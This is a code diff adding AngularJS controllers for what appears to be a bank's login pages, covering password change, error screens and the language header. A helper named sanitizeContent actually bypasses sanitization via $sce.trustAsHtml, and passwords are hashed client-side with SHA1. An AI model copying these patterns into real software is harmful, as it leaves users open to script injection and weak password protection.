$scope.$watch('formData.newPassword', function() {
|
59
|
+
var passwordStrength = securityPolicyService.calculatePasswordStrength($scope.formData.newPassword);
|
60
|
+
$scope.passwordStrengthLabel = mapPasswordStrengthLabel(passwordStrength);
|
61
|
+
updateIndicatorPosition(passwordStrength);
|
62
|
+
$scope.passwordStrength = passwordStrength;
|
63
|
+
helpPanelPasswordService.performPasswordValidation($scope.formData.newPassword);
|
64
|
+
});
|
65
|
+
|
66
|
+
$scope.proceed = function() {
|
67
|
+
if (!requestSent && ($scope.valid = loginValidationService.validate($scope.validationConfigName))) {
|
68
|
+
requestSent = true;
|
69
|
+
loginService.addCookie('cibUsrLoginCommand', new Date().getTime() + '');
|
70
|
+
var alias = $scope.formData.alias;
|
71
|
+
var masks = maskService.getMasks($scope.formData.newPassword, [alias]);
|
72
|
+
var request = {
|
73
|
+
masks: masks.p_masks,
|
74
|
+
passwords: masks.p_passwords,
|
75
|
+
sha1Passwords: masks.p_sha1_passwords,
|
76
|
+
alias: alias,
|
77
|
+
newPassword: hashService.calculateSHA1($scope.formData.newPassword + alias)
|
78
|
+
};
|
79
|
+
requestService.post('../json/login/changePassword', request).then(function(result) {
|
80
|
+
$scope.valid = !(result.data.message === 'ERRORS.CHANGE_PASSWORD_DISTINCT');
|
81
|
+
if ($scope.valid) {
|
82
|
+
loginService.processLoginResponse(result.data, null);
|
83
|
+
} else {
|
84
|
+
loginValidationService.addError($scope.validationConfigName, result.data.message, {
|
85
|
+
pswDistinct: settings.pswDistinct
|
86
|
+
});
|
87
|
+
var invalidElement = document.getElementById('password-input');
|
88
|
+
if (invalidElement) {
|
89
|
+
invalidElement.focus();
|
90
|
+
}
|
91
|
+
requestSent = false;
|
92
|
+
$rootScope.$broadcast('stopButtonLoader');
|
93
|
+
}
|
94
|
+
});
|
95
|
+
} else {
|
96
|
+
var validationResult = loginValidationService.getResult($scope.validationConfigName);
|
97
|
+
if (validationResult.error === 'ERRORS.INCORRECT_REPEAT') {
|
98
|
+
focusPasswordInput('repeat-password-input');
|
99
|
+
} else if (validationResult.error) {
|
100
|
+
focusPasswordInput('password-input');
|
101
|
+
}
|
102
|
+
$rootScope.$broadcast('stopButtonLoader');
|
103
|
+
}
|
104
|
+
gemius_event('_action_', getGemiusID(), 'miejsce=ekrany_logowania_pierwsze_logowanie_podaj_haslo', 'button=zaloguj', 'sila_hasla=' +
|
105
|
+
$scope.passwordStrength, 'metoda=onclick', 'timing_start=logowanie', 'timing_time=' + new Date().getTime(), 'blad_walidacji=' +
|
106
|
+
loginValidationService.getErrorForGemius($scope.validationConfigName));
|
107
|
+
};
|
108
|
+
|
109
|
+
$scope.sendPassword = function($event) {
|
110
|
+
if ($event.keyCode === 13 && !requestSent) {
|
111
|
+
$rootScope.$broadcast('startButtonLoader');
|
112
|
+
$scope.proceed();
|
113
|
+
}
|
114
|
+
};
|
115
|
+
|
116
|
+
function isRepeatCorrect() {
|
117
|
+
return $scope.formData.newPassword == $scope.formData.repeatPassword;
|
118
|
+
}
|
119
|
+
|
120
|
+
function arePolicyRulesFullfilled() {
|
121
|
+
return securityPolicyService.checkSecurityPolicyRules($scope.formData.newPassword);
|
122
|
+
}
|
123
|
+
|
124
|
+
function mapPasswordStrengthLabel(passwordStrength) {
|
125
|
+
if (passwordStrength < WEAK_PASS_TRESHOLD) {
|
126
|
+
return 'PASSWORD_STRENGTH.WEAK';
|
127
|
+
} else if (passwordStrength < MEDIUM_PASS_TRESHOLD) {
|
128
|
+
return 'PASSWORD_STRENGTH.MEDIUM';
|
129
|
+
} else {
|
130
|
+
return 'PASSWORD_STRENGTH.STRONG';
|
131
|
+
}
|
132
|
+
}
|
133
|
+
|
134
|
+
function updateIndicatorPosition(passwordStrength) {
|
135
|
+
dotPosition = Math.min(passwordStrength * SLIDER_WIDTH, SLIDER_WIDTH - DOT_WIDTH);
|
136
|
+
$('#passwordStrengthIndicator').css('left', dotPosition + 'px');
|
137
|
+
|
138
|
+
$timeout(function() {
|
139
|
+
var labelWidth = $('#passwordStrengthLabel').prop('offsetWidth');
|
140
|
+
var labelPosition = Math.max((dotPosition + DOT_WIDTH / 2) - labelWidth / 2, 0);
|
141
|
+
labelPosition = Math.min(labelPosition, SLIDER_WIDTH - labelWidth);
|
142
|
+
$('#passwordStrengthLabel').css('left', labelPosition + 'px');
|
143
|
+
}, 10);
|
144
|
+
}
|
145
|
+
|
146
|
+
function focusPasswordInput(inputId) {
|
147
|
+
if (!inputId) {
|
148
|
+
inputId = 'password-input';
|
149
|
+
}
|
150
|
+
var inputElement = document.getElementById(inputId);
|
151
|
+
if (inputElement) {
|
152
|
+
inputElement.focus();
|
153
|
+
}
|
154
|
+
}
|
155
|
+
|
156
|
+
$scope.$on('$languageChanged', function() {
|
157
|
+
focusPasswordInput('password-input');
|
158
|
+
});
|
159
|
+
|
160
|
+
focusPasswordInput('password-input');
|
161
|
+
}
|
162
|
+
]);
|
@@ -0,0 +1,9 @@
|
|
1
|
+
loginApp.controller('CustomErrorCtrl', ['$scope', '$state', '$stateParams', function($scope, $state, $stateParams) {
|
2
|
+
|
3
|
+
$scope.errors = $stateParams.errors;
|
4
|
+
|
5
|
+
$scope.proceed = function() {
|
6
|
+
gemius_event('_action_', getGemiusID(), 'miejsce=ekrany_logowania_blad_logowania', 'button=powrot_do_logowania', 'metoda=onclick');
|
7
|
+
$state.go('alias');
|
8
|
+
};
|
9
|
+
}]);
|
@@ -0,0 +1,30 @@
|
|
1
|
+
loginApp.controller('ErrorCtrl', ['$scope', '$state', '$http', 'loginService', function($scope, $state, $http, loginService) {
|
2
|
+
|
3
|
+
getLoginErrorDictionary();
|
4
|
+
|
5
|
+
$scope.proceed = function() {
|
6
|
+
gemius_event('_action_', getGemiusID(), 'miejsce=ekrany_logowania_blad_logowania', 'button=powrot_do_logowania', 'metoda=onclick');
|
7
|
+
if (loginService.isPsd2ConsentLogin()) {
|
8
|
+
$state.go('psd2Alias', {
|
9
|
+
psd2SessionId: loginService.getPsd2LoginSessionId()
|
10
|
+
});
|
11
|
+
} else {
|
12
|
+
$state.go('alias');
|
13
|
+
}
|
14
|
+
};
|
15
|
+
|
16
|
+
function getLoginErrorDictionary() {
|
17
|
+
$http.get('../json/login/getLoginErrorDictionary', {
|
18
|
+
params: {
|
19
|
+
'selectedLang': $scope.selectedLang
|
20
|
+
}
|
21
|
+
}).then(function(response) {
|
22
|
+
$scope.loginErrorHeader = response.data['LOGIN_ERROR_HEADER_BBCODE'];
|
23
|
+
$scope.loginErrorFooter = response.data['LOGIN_ERROR_FOOTER_BBCODE'];
|
24
|
+
});
|
25
|
+
}
|
26
|
+
|
27
|
+
$scope.$on('$languageChanged', function() {
|
28
|
+
getLoginErrorDictionary();
|
29
|
+
});
|
30
|
+
}]);
|
@@ -0,0 +1,84 @@
|
|
1
|
+
'use strict';
|
2
|
+
|
3
|
+
loginApp.controller('HeaderCtrl', ['$rootScope', '$scope', '$translate', '$state', '$http', '$sce', '$q', 'tabletScalingService', 'criticalMessageService', 'loginService',
|
4
|
+
function($rootScope, $scope, $translate, $state, $http, $sce, $q, tabletScalingService, criticalMessageService, loginService) {
|
5
|
+
$scope.selectedLang = 'pl';
|
6
|
+
var cookieLangName = 'cibLang';
|
7
|
+
var helpContent = {};
|
8
|
+
|
9
|
+
init();
|
10
|
+
|
11
|
+
$scope.changeLang = function(key) {
|
12
|
+
if (!$scope.isLang(key)) {
|
13
|
+
$translate.use(key);
|
14
|
+
$scope.selectedLang = key;
|
15
|
+
loginService.addCookie(cookieLangName, $scope.selectedLang === 'en' ? '1' : '0');
|
16
|
+
prepareStaticWebContextWithLanguage(true);
|
17
|
+
}
|
18
|
+
};
|
19
|
+
|
20
|
+
$scope.isLang = function(key) {
|
21
|
+
return $scope.selectedLang === key;
|
22
|
+
};
|
23
|
+
|
24
|
+
$scope.getHelpContent = function() {
|
25
|
+
return helpContent[$scope.selectedLang];
|
26
|
+
};
|
27
|
+
|
28
|
+
$scope.sanitizeContent = function(content) {
|
29
|
+
return $sce.trustAsHtml(content);
|
30
|
+
};
|
31
|
+
|
32
|
+
function init() {
|
33
|
+
$scope.selectedLang = handleLangCookie();
|
34
|
+
$translate.use($scope.selectedLang);
|
35
|
+
$http.post('../json/login/initSession', null).then(function() {
|
36
|
+
$http.get('../json/login/helpContent').then(function(response) {
|
37
|
+
helpContent = response.data;
|
38
|
+
});
|
39
|
+
|
40
|
+
criticalMessageService.getCriticalMessage($scope.selectedLang);
|
41
|
+
prepareStaticWebContextWithLanguage();
|
42
|
+
});
|
43
|
+
}
|
44
|
+
|
45
|
+
$scope.$on('$languageChanged', function() {
|
46
|
+
criticalMessageService.getCriticalMessage($scope.selectedLang);
|
47
|
+
});
|
48
|
+
|
49
|
+
function handleLangCookie() {
|
50
|
+
var langCookie = loginService.getCookie(cookieLangName);
|
51
|
+
return langCookie === '1' ? "en" : 'pl';
|
52
|
+
}
|
53
|
+
|
54
|
+
function prepareStaticWebContextWithLanguage(languageChanged) {
|
55
|
+
|
56
|
+
$http.get('../json/login/getContextStep0', {
|
57
|
+
params: {
|
58
|
+
'selectedLang': $scope.selectedLang
|
59
|
+
}
|
60
|
+
}).then(function(result) {
|
61
|
+
if (languageChanged) {
|
62
|
+
$rootScope.$broadcast('$languageChanged', $scope.selectedLang);
|
63
|
+
}
|
64
|
+
}, function(error) {});
|
65
|
+
}
|
66
|
+
|
67
|
+
$scope.toggleView = function(type) {
|
68
|
+
if (type === 'desktop') {
|
69
|
+
if ($('.footer-top').hasClass('desktop-hide')) {
|
70
|
+
$('.footer-top').removeClass('desktop-hide');
|
71
|
+
}
|
72
|
+
}
|
73
|
+
var oldType = type === 'tablet' ? 'desktop' : 'tablet';
|
74
|
+
$('body').removeClass(oldType).addClass(type);
|
75
|
+
};
|
76
|
+
|
77
|
+
if ('tablet' === $rootScope.userAgentResolverService.getDeviceType()) {
|
78
|
+
tabletScalingService.screenScaling();
|
79
|
+
$(window).resize(function() {
|
80
|
+
setTimeout(tabletScalingService.screenScaling, 100);
|
81
|
+
});
|
82
|
+
}
|
83
|
+
}
|
84
|
+
]);
|